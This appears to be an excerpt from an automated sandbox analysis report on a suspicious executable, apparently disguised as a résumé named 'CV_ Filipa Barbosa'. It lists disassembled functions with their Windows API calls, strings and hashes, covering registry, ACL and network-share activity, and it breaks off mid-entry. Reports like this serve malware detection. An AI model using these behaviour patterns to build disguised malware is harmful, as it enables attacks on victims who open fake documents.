                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: HandleLoadModuleString__swprintf$Message_wprintf
                                                                  • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                                                  • API String ID: 618562835-2268648507
                                                                  • Opcode ID: d9f2ac5f7e701ecf5c7b3ce54587c909f411fd668b0db501c47c550d06b00f7c
                                                                  • Instruction ID: 02ffc6d1e25f137389c1adc47b59509c5ca62ea019aa6da539b9cbf2e1a9c2c2
                                                                  • Opcode Fuzzy Hash: d9f2ac5f7e701ecf5c7b3ce54587c909f411fd668b0db501c47c550d06b00f7c
                                                                  • Instruction Fuzzy Hash: 12413F72800229AADB14FBD0ED87DEEB7F8AF15340F1004A5B50577092EE746F59CB61
                                                                  Function 00B6D0B8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 101fileCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00B6D0D8
                                                                  • __swprintf.LIBCMT ref: 00B6D0FA
                                                                  • CreateDirectoryW.KERNEL32(?,00000000), ref: 00B6D137
                                                                  • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00B6D15C
                                                                  • _memset.LIBCMT ref: 00B6D17B
                                                                  • _wcsncpy.LIBCMT ref: 00B6D1B7
                                                                  • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00B6D1EC
                                                                  • CloseHandle.KERNEL32(00000000), ref: 00B6D1F7
                                                                  • RemoveDirectoryW.KERNEL32(?), ref: 00B6D200
                                                                  • CloseHandle.KERNEL32(00000000), ref: 00B6D20A
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
                                                                  • String ID: :$\$\??\%s
                                                                  • API String ID: 2733774712-3457252023
                                                                  • Opcode ID: 2933e4f9e8e93be47472409261ab85ecc4eebe5fe0572f90f17f1d1f3677434f
                                                                  • Instruction ID: b826180d8b47b13f460fd9fbc82267b9109b6995a5802bc41939d0744a0153c1
                                                                  • Opcode Fuzzy Hash: 2933e4f9e8e93be47472409261ab85ecc4eebe5fe0572f90f17f1d1f3677434f
                                                                  • Instruction Fuzzy Hash: 59316FB2A00209ABDB219FA4DC49FAB77FCEF89740F1040A6F509D2161EA7496458B24
                                                                  Function 00B705F8 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • __wsplitpath.LIBCMT ref: 00B7076F
                                                                  • _wcscat.LIBCMT ref: 00B70787
                                                                  • _wcscat.LIBCMT ref: 00B70799
                                                                  • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00B707AE
                                                                  • SetCurrentDirectoryW.KERNEL32(?), ref: 00B707C2
                                                                  • GetFileAttributesW.KERNEL32(?), ref: 00B707DA
                                                                  • SetFileAttributesW.KERNEL32(?,00000000), ref: 00B707F4
                                                                  • SetCurrentDirectoryW.KERNEL32(?), ref: 00B70806
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
                                                                  • String ID: *.*
                                                                  • API String ID: 34673085-438819550
                                                                  • Opcode ID: 51baf55a8eda11d85bbec80b4503c1862e670041a2f65572f4cf0a6b3f4de51f
                                                                  • Instruction ID: 183094f3ebf75e909bbbdc6653bcb031f910ee95a25c21a629cbe96c42a17c4d
                                                                  • Opcode Fuzzy Hash: 51baf55a8eda11d85bbec80b4503c1862e670041a2f65572f4cf0a6b3f4de51f
                                                                  • Instruction Fuzzy Hash: 8C818F71524301DFCB24EF24C89596EB7E8FB98304F1488AFF89DD7251EA30E9548B92
                                                                  Function 00B8EEEB Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B3B34E: GetWindowLongW.USER32(?,000000EB), ref: 00B3B35F
                                                                  • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00B8EF3B
                                                                  • GetFocus.USER32 ref: 00B8EF4B
                                                                  • GetDlgCtrlID.USER32(00000000), ref: 00B8EF56
                                                                  • _memset.LIBCMT ref: 00B8F081
                                                                  • GetMenuItemInfoW.USER32 ref: 00B8F0AC
                                                                  • GetMenuItemCount.USER32(00000000), ref: 00B8F0CC
                                                                  • GetMenuItemID.USER32(?,00000000), ref: 00B8F0DF
                                                                  • GetMenuItemInfoW.USER32(00000000,-00000001,00000001,?), ref: 00B8F113
                                                                  • GetMenuItemInfoW.USER32(00000000,?,00000001,?), ref: 00B8F15B
                                                                  • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00B8F193
                                                                  • DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 00B8F1C8
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
                                                                  • String ID: 0
                                                                  • API String ID: 1296962147-4108050209
                                                                  • Opcode ID: b16f81673518c9aee40c7e22452c49385bf83329483923c6cc5d90d49322e747
                                                                  • Instruction ID: 734841a5ea628351d1b2404aa19e694d9a3134933a47a80a116c9cdc8867f8ac
                                                                  • Opcode Fuzzy Hash: b16f81673518c9aee40c7e22452c49385bf83329483923c6cc5d90d49322e747
                                                                  • Instruction Fuzzy Hash: 7F818F71604302AFD710EF15C889A7BBBE5FF89314F1049AEF995A72A1DB30D905CB52
                                                                  Function 00B5A867 Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B5ABBB: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 00B5ABD7
                                                                    • Part of subcall function 00B5ABBB: GetLastError.KERNEL32(?,00B5A69F,?,?,?), ref: 00B5ABE1
                                                                    • Part of subcall function 00B5ABBB: GetProcessHeap.KERNEL32(00000008,?,?,00B5A69F,?,?,?), ref: 00B5ABF0
                                                                    • Part of subcall function 00B5ABBB: HeapAlloc.KERNEL32(00000000,?,00B5A69F,?,?,?), ref: 00B5ABF7
                                                                    • Part of subcall function 00B5ABBB: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 00B5AC0E
                                                                    • Part of subcall function 00B5AC56: GetProcessHeap.KERNEL32(00000008,00B5A6B5,00000000,00000000,?,00B5A6B5,?), ref: 00B5AC62
                                                                    • Part of subcall function 00B5AC56: HeapAlloc.KERNEL32(00000000,?,00B5A6B5,?), ref: 00B5AC69
                                                                    • Part of subcall function 00B5AC56: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00B5A6B5,?), ref: 00B5AC7A
                                                                  • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00B5A8CB
                                                                  • _memset.LIBCMT ref: 00B5A8E0
                                                                  • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00B5A8FF
                                                                  • GetLengthSid.ADVAPI32(?), ref: 00B5A910
                                                                  • GetAce.ADVAPI32(?,00000000,?), ref: 00B5A94D
                                                                  • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00B5A969
                                                                  • GetLengthSid.ADVAPI32(?), ref: 00B5A986
                                                                  • GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00B5A995
                                                                  • HeapAlloc.KERNEL32(00000000), ref: 00B5A99C
                                                                  • GetLengthSid.ADVAPI32(?,00000008,?), ref: 00B5A9BD
                                                                  • CopySid.ADVAPI32(00000000), ref: 00B5A9C4
                                                                  • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00B5A9F5
                                                                  • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00B5AA1B
                                                                  • SetUserObjectSecurity.USER32(?,00000004,?), ref: 00B5AA2F
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                                  • String ID:
                                                                  • API String ID: 3996160137-0
                                                                  • Opcode ID: b646ecc8c8f55b78e20b7847a3f5ecd5763c43b57cb05dbb90e6fe4173926a24
                                                                  • Instruction ID: 9b41e72a48f9ae0e3fb8f4e5694c3e48632352af0628057523d05065fff831db
                                                                  • Opcode Fuzzy Hash: b646ecc8c8f55b78e20b7847a3f5ecd5763c43b57cb05dbb90e6fe4173926a24
                                                                  • Instruction Fuzzy Hash: CD513C71900209AFDF10DF94DD55AEEBBB9FF05301F04829AF916B7290DB359A0ACB61
                                                                  Function 00B6CC5C Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 155COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: LoadString__swprintf_wprintf
                                                                  • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                                  • API String ID: 2889450990-2391861430
                                                                  • Opcode ID: 00a6e16bd3bbbc0096627989f22f8dcee57bf8f789060bb08e5205a005b626bc
                                                                  • Instruction ID: c0df479f6bcf1e27fbaeeacfb6270b34bbbad687b1f5d7da5adf84e410b0c134
                                                                  • Opcode Fuzzy Hash: 00a6e16bd3bbbc0096627989f22f8dcee57bf8f789060bb08e5205a005b626bc
                                                                  • Instruction Fuzzy Hash: B751AE71800119BADB14EBA0DD86EEEBBF8EF08300F1005A5F509731A2EB356F58DB61
                                                                  Function 00B6CA48 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 151COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: LoadString__swprintf_wprintf
                                                                  • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                                  • API String ID: 2889450990-3420473620
                                                                  • Opcode ID: 61ed94fdfc236007caed5e7779af3ac49481ad16948beb1edcb424192a6136cb
                                                                  • Instruction ID: 2277c41dfb4a0ca33e814a8b06d4a19eb116ed6a12b03b6814c572a4422d41d4
                                                                  • Opcode Fuzzy Hash: 61ed94fdfc236007caed5e7779af3ac49481ad16948beb1edcb424192a6136cb
                                                                  • Instruction Fuzzy Hash: 5D519F71900119AADB15EBE4DD86EEEBBF8EF04300F1040A5B50973062EB756F99DB61
                                                                  Function 00B6778F Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 72sleepwindowtimeCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • timeGetTime.WINMM ref: 00B67794
                                                                    • Part of subcall function 00B3DC38: timeGetTime.WINMM(?,753DB400,00B958AB), ref: 00B3DC3C
                                                                  • Sleep.KERNEL32(0000000A), ref: 00B677C0
                                                                  • EnumThreadWindows.USER32(?,Function_00047744,00000000), ref: 00B677E4
                                                                  • FindWindowExW.USER32(?,00000000,BUTTON,00000000), ref: 00B67806
                                                                  • SetActiveWindow.USER32 ref: 00B67825
                                                                  • SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00B67833
                                                                  • SendMessageW.USER32(00000010,00000000,00000000), ref: 00B67852
                                                                  • Sleep.KERNEL32(000000FA), ref: 00B6785D
                                                                  • IsWindow.USER32 ref: 00B67869
                                                                  • EndDialog.USER32(00000000), ref: 00B6787A
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
                                                                  • String ID: @U=u$BUTTON
                                                                  • API String ID: 1194449130-2582809321
                                                                  • Opcode ID: 432e8170b4a834789bb13fb3a2d73c7e4117d413471a052ecf8bf52644aa97f9
                                                                  • Instruction ID: b2b12680d9c193dc0e3b4bf4959b047626ab890d4dbd84ba942ccd58f6f73487
                                                                  • Opcode Fuzzy Hash: 432e8170b4a834789bb13fb3a2d73c7e4117d413471a052ecf8bf52644aa97f9
                                                                  • Instruction Fuzzy Hash: 212158B0258245AFE7005B20ECCEE2A3FEAFB05B48F0400A4F50797672CF698C00EA24
                                                                  Function 00B655BD Relevance: 19.7, APIs: 13, Instructions: 213windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • _memset.LIBCMT ref: 00B655D7
                                                                  • GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 00B65664
                                                                  • GetMenuItemCount.USER32(00BE1708), ref: 00B656ED
                                                                  • DeleteMenu.USER32(00BE1708,00000005,00000000,000000F5,?,?), ref: 00B6577D
                                                                  • DeleteMenu.USER32(00BE1708,00000004,00000000), ref: 00B65785
                                                                  • DeleteMenu.USER32(00BE1708,00000006,00000000), ref: 00B6578D
                                                                  • DeleteMenu.USER32(00BE1708,00000003,00000000), ref: 00B65795
                                                                  • GetMenuItemCount.USER32(00BE1708), ref: 00B6579D
                                                                  • SetMenuItemInfoW.USER32(00BE1708,00000004,00000000,00000030), ref: 00B657D3
                                                                  • GetCursorPos.USER32(?), ref: 00B657DD
                                                                  • SetForegroundWindow.USER32(00000000), ref: 00B657E6
                                                                  • TrackPopupMenuEx.USER32(00BE1708,00000000,?,00000000,00000000,00000000), ref: 00B657F9
                                                                  • PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00B65805
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
                                                                  • String ID:
                                                                  • API String ID: 3993528054-0
                                                                  • Opcode ID: d1fc0c0e61bca97cd2d815e66f4710fe8edddb048018119a26e3cf89b6a22849
                                                                  • Instruction ID: d14c3ec9a09782ffc8618c9dd01b730e22cfddc113485ad1fb6abd268d7d90db
                                                                  • Opcode Fuzzy Hash: d1fc0c0e61bca97cd2d815e66f4710fe8edddb048018119a26e3cf89b6a22849
                                                                  • Instruction Fuzzy Hash: F671E370641A05BEEB309F54CC89FAABFE5FF01364F240255F6156A1E1CBB96C20DB90
                                                                  Function 00B5A14D Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 127registryshareCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • _memset.LIBCMT ref: 00B5A1DC
                                                                  • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00B5A211
                                                                  • RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00B5A22D
                                                                  • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00B5A249
                                                                  • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00B5A273
                                                                  • CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 00B5A29B
                                                                  • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00B5A2A6
                                                                  • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00B5A2AB
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memset
                                                                  • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                                  • API String ID: 1687751970-22481851
                                                                  • Opcode ID: a2e358994d6bd9d875ab6dfbb6ab46da0d9d9a792fd7b679f26d4055db225580
                                                                  • Instruction ID: e2a64115b670532fd46ae0859390227d773486d4ca6a938d7cb5ba755050fc85
                                                                  • Opcode Fuzzy Hash: a2e358994d6bd9d875ab6dfbb6ab46da0d9d9a792fd7b679f26d4055db225580
                                                                  • Instruction Fuzzy Hash: 5841E976C10229AADF21EBA4EC96DEDB7B8FF14700F0045A9F905B3161EB719E09DB50
                                                                  Function 00B83C06 Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 109COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B82BB5,?,?), ref: 00B83C1D
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: BuffCharUpper
                                                                  • String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
                                                                  • API String ID: 3964851224-909552448
                                                                  • Opcode ID: 4f21a3fb6b3ce1f4a145cf3f1a5aae996d04174bb471b49001828f3dbc42ffb2
                                                                  • Instruction ID: 97d64216ed77b8badd3a40cac948283809298420cfe9a675112b4f12efe2ea6e
                                                                  • Opcode Fuzzy Hash: 4f21a3fb6b3ce1f4a145cf3f1a5aae996d04174bb471b49001828f3dbc42ffb2
                                                                  • Instruction Fuzzy Hash: E641123111024A9BDF04FF14E8916EE37E5EF62B44F5054E5EC652B2A1EB70DA4ACB50
                                                                  Function 00B8A1B6 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 101windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00B8A259
                                                                  • CreateCompatibleDC.GDI32(00000000), ref: 00B8A260
                                                                  • SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00B8A273
                                                                  • SelectObject.GDI32(00000000,00000000), ref: 00B8A27B
                                                                  • GetPixel.GDI32(00000000,00000000,00000000), ref: 00B8A286
                                                                  • DeleteDC.GDI32(00000000), ref: 00B8A28F
                                                                  • GetWindowLongW.USER32(?,000000EC), ref: 00B8A299
                                                                  • SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00B8A2AD
                                                                  • DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00B8A2B9
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
                                                                  • String ID: @U=u$static
                                                                  • API String ID: 2559357485-3553413495
                                                                  • Opcode ID: 62a8cda9a6da824380300f1dc73113c924766a9f29fe4d3548b47329d0895719
                                                                  • Instruction ID: 694561f4e80d9fa6c7a05f6fec37b24511d51af67983a4fbeae5b7fe486f3d57
                                                                  • Opcode Fuzzy Hash: 62a8cda9a6da824380300f1dc73113c924766a9f29fe4d3548b47329d0895719
                                                                  • Instruction Fuzzy Hash: D5315031100115BFEF21AFA4DC4AFDA3BA9FF0E761F110259FA1AA61A0CB35D811DB65
                                                                  Function 00B625B5 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 74windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00B936F4,00000010,?,Bad directive syntax error,00BBDC00,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 00B625D6
                                                                  • LoadStringW.USER32(00000000,?,00B936F4,00000010), ref: 00B625DD
                                                                  • _wprintf.LIBCMT ref: 00B62610
                                                                  • __swprintf.LIBCMT ref: 00B62632
                                                                  • MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00B626A1
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
